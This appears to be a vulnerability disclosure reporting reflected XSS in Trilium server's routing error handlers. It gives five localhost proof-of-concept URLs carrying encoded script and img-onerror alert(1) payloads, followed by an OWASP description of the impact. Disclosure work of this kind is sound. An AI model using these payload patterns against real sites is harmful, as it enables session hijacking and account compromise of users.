Description

Multiple routing error handlers are vulnerable to reflected XSS.

Proof of Concept

Deploy trilium server and access to these endpoint will execute the alert js function.

http://localhost:8080/custom/%3Cscript%3Ealert(1)%3C/script%3E
http://localhost:8080/share/api/notes/%3Cimg%20src=x%20onerror=alert(1)%3E
http://localhost:8080/share/api/notes/%3Cimg%20src=x%20onerror=alert(1)%3E/download
http://localhost:8080/share/api/images/%3Cimg%20src=x%20onerror=alert(1)%3E/filename
http://localhost:8080/share/api/notes/%3Cimg%20src=x%20onerror=alert(1)%3E/view

Impact

According to OWASP:

XSS can cause a variety of problems for the end user that range in severity from an annoyance to complete account compromise. The most severe XSS attacks involve disclosure of the user’s session cookie, allowing an attacker to hijack the user’s session and take over the account. Other damaging attacks include the disclosure of end user files, installation of Trojan horse programs, redirect the user to some other page or site, or modify presentation of content. An XSS vulnerability allowing an attacker to modify a press release or news item could affect a company’s stock price or lessen consumer confidence. An XSS vulnerability on a pharmaceutical site could allow an attacker to modify dosage information resulting in an overdose.